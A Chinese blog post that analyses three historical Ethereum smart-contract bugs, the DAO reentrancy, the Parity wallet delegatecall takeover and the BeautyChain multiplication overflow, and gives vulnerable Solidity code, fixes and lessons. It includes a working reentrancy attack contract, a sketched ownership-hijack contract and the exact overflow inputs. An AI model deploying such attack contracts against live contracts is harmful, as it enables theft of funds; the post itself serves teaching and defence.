以太坊合约漏洞大集锦——分析、模拟与重现

以太坊的智能合约,自 DAO以来,漏洞就没断过,觉得有必要做一下汇总,以为鉴。

1,The DAO 漏洞。

该漏洞直接导致了以太坊的分叉。应该算是最有名的明星漏洞了。
我们将源码的无关部分剔除,只剩关键代码。看模拟源码:

pragma solidity ^0.4.18;
contract TheDAO{
	//这两个函数为方便测试,额外加的,原合约中并没有。
    function getBanalce() public view returns(uint){
        return address(this).balance;
    }
    function deposit()public payable{
    }
    
    function splitDAO()public{
        withdrawRewardFor(msg.sender);
    }
    function withdrawRewardFor(address _account)public{
        uint reward = 10**17;
        if (!payOut(_account, reward))  throw;
    }
    
    function payOut(address _recipient, uint _amount) returns (bool) {
        if (_recipient.call.value(_amount)()) {//假如_recipient是一个合约地址,此调用会触发_recipient的回退函数,并且,call命令不会限制本次调用的gas。
            return true;
        } else {
            return false;
        }
    }
   
    function () public payable{ }
}

contract HackCode{
    address public daoContract;
    uint public count =  50;
    uint public n;
    function setDAO(address _addr)public{
        daoContract = _addr;
    }
    function getBanalce() public view returns(uint){
        return address(this).balance;
    }
    
    function withdraw()public{
        msg.sender.transfer(address(this).balance);
    }
    
    function setCount(uint newCount)public {
        count = newCount;
    }
    function () public payable{
        if(n < count){
            n++;// 限制递归次数,防止out of gas,那样整个递归调用链都会回滚。
            TheDAO(daoContract).splitDAO();
        }
    }
}

原因基本都写在注释里了:call方法有可能触发回退函数,并且未限制本次call的gasLimit(transfer与send会限制在2300——这个数量不足以支付一次哪怕最简单的函数调用的花费)。所以要想更正bug,只需将

if (_recipient.call.value(_amount)()) 

改为

if (_recipient.send(_amount)) 

即可。
注:黑客实际使用的攻击合约可以查得到字节码,但是源码无从获得,反编译可读性也不好,此处依照个人理解做了一个实现,如有不当之处,欢迎指正。

2,Parity 钱包

该bug是由于使用了delegatecall方法引起的,导致黑客拿到了owner权限
bug威力:黑客转移几千万美元的eth,并销毁了WalletLibrary 合约,导致一部分Wallet合约中的剩余eth(300w个)永远取不出来了。
部分源码:


contract WalletLibrary {
  modifier onlyowner {
    if (isOwner(msg.sender))
      _;
  }
  modifier onlymanyowners(bytes32 _operation) {
    if (confirmAndCheck(_operation))
      _;
  }
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
  
  function isOwner(address _addr) constant returns (bool) {
    return m_ownerIndex[uint(_addr)] > 0;
  }
  
  function initMultiowned(address[] _owners, uint _required) only_uninitialized {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i)
    {
      m_owners[2 + i] = uint(_owners[i]);
      m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;
  }

  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }
}

contract Wallet {
	uint public m_required;
  uint public m_numOwners;

  uint public m_dailyLimit;
  uint public m_spentToday;
  uint public m_lastDay;

  // list of owners
  uint[256] m_owners;
  address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;
  function Wallet(address[] _owners, uint _required, uint _daylimit) {
    bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
    address target = _walletLibrary;
    uint argarraysize = (2 + _owners.length);
    uint argsize = (2 + argarraysize) * 32;

    assembly {
      mstore(0x0, sig)
      codecopy(0x4,  sub(codesize, argsize), argsize)
      delegatecall(sub(gas, 10000), target, 0x0, add(argsize, 0x4), 0x0, 0x0)
    }
  }

  function() payable {
    if (msg.value > 0)
      Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
      _walletLibrary.delegatecall(msg.data);
  }
}

问题出在initWallet函数这里,乍一看,有一个only_uninitialized modifier 防止多次调用。其实这里有个隐藏的漏洞:
Wallet 合约通过delegate来调用walletLibrary 合约的initWallet方法是没有问题的,only_uninitialized能够防止Wallet 多次调用initWallet。但是,如果我们构造一个Wallet2合约来调用walletLibrary 合约的initWallet方法,此时only_uninitialized读的owner是位于Wallet2中的owner——这个owner可以被任意赋值,于是Wallet2可以轻松拿到walletLibrary 中的owner权限。
黑客合约可以这样构造:

contract Wallet2 {
	uint public m_required;
  uint public m_numOwners;

  uint public m_dailyLimit;
  uint public m_spentToday;
  uint public m_lastDay;
 
  // list of owners
  uint[256] m_owners;
  mapping(uint => uint) m_ownerIndex;
  address constant _walletLibrary = 0x863df6bfa4469f3ead0be8f9f2aae51c91a907b4;

	function attack()public{
		m_ownerIndex[this] = 1;
		 bytes4 sig = bytes4(sha3("initWallet(address[],uint256,uint256)"));
		_walletLibrary.delegatecall(sig, [this], 0, 0);//这里会顺利调用到initWallet函数,并把this设置为owner
		..........//可以为所欲为了
	}
}

根本原因在于:delegatecall调用其他合约的代码,存储仍然用的当前合约的环境,导致丧失owner权限。
教训:慎用delegatecall,因为它的行为严重与人的直觉不符,极易造成漏洞。
另外,黑客在取得了owner权限之后,拿了一些eth,然后把_walletLibrary销毁了。。。。其他人再也拿不出Wallet中剩余的eth了,浪费啊。。。

3,美图币BeautyChain (BEC)的漏洞

这个漏洞理解起来比DAO漏洞要容易得多:未进行乘法的溢出检查。
关键代码:


library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract BeautyChain{
    using SafeMath for uint256;
    mapping (address => uint256) public balances;
    
    function batchTransfer(address[] _receivers, uint256 _value) public  returns (bool) {
        uint cnt = _receivers.length;
        uint256 amount = uint256(cnt) * _value; // <====这个乘法有可能溢出
        require(cnt > 0 && cnt <= 20);
        require(_value > 0 && balances[msg.sender] >= amount);
    
        balances[msg.sender] = balances[msg.sender].sub(amount); 
        for (uint i = 0; i < cnt; i++) {
            balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        }
        return true;
      }
}

攻击者使 uint256(cnt) * _value 溢出后恰好等于0:让cnt = 2, _value = 2^128。溢出后,amount = 0,require(_value > 0 && balances[msg.sender] >= amount);可以被完美的绕过。
接下来进了for循环,就直接add(_value),而此时的value是 2^128 。。。。

发起攻击的交易:https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f

改正漏洞很简单,只需将:

uint256 amount = uint256(cnt) * _value;

改为

uint256 amount = _value.mul(uint256(cnt));

即可。

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值